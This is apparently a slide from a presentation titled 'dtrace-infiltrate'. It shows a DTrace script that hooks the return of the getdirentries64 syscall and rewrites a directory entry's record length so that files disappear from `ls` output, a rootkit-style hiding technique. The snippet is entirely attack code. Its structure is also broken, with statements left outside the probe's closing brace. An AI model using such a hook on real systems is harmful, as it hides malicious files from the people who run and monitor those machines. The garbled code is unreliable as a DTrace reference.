dtrace-infiltrate

Hooking `ls` - Return
syscall::getdirentries64:return
/self->gd_thiscall != 0/
{
this->dir = copyin(self->gd_thiscall,sizeof(struct
direntry));
self->gd_thiscall = self->gd_thiscall + ((struct
direntry *)this->dir)->d_reclen;
this->dir = copyin(self->gd_thiscall,sizeof(struct
direntry));
this->second_direntry = self->gd_thiscall;
/* backup 2nd entry so we can increase its size */
printf("[+] Changing size of record 2 to: %i\n", 0x34);
}
copyout("\x34\x00" ,this->second_direntry + 16,2);
self->gd_thiscall = 0;